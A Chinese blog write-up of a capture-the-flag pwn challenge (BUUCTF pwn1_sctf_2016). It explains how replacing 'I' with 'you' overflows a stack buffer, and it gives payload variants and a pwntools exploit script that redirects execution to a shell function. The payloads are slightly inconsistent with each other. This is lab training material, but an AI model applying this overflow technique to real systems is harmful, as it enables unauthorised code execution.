BUUCTF pwn1_sctf_2016
执行一下
似乎出现第一个i被替换成you
检查一下保护机制
丢到ida里面
输入的变量s大小为0x3c,但是我们看fgets里面,我们只能输入32个字符,没法进行溢出,
我们在输入的时候,会发现i会被替换成you,所以我们可以利用20个i来填充,
找到shell,地址为0x8048F0D
返回地址再随便填四个字符
我们可以构造一下payload
payload = ‘I’*20 + p64(0x8048F0D)
这里特别注意一下
payload可以有多种写法
‘I’ *19 + ‘A’*7 + p64(0x8048F0D)
‘I’ *21 + ‘A’ + p64(0x8048F0D)
但是
‘I’ *18 + ‘A’*10 + p64(0x8048F0D)就不行了,因为这样加起来会超过fgets限制的32,后边的地址没法传进去。
exp
from pwn import *
p = process('./pwn1_sctf_2016')
payload = 'I'*20 +'A'*4+ p64(0x8048F0D)
p.send(payload)
p.interactive()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 零经验选手,Compose 一天开发一款小游戏!
· 因为Apifox不支持离线,我果断选择了Apipost!
· 通过 API 将Deepseek响应流式内容输出到前端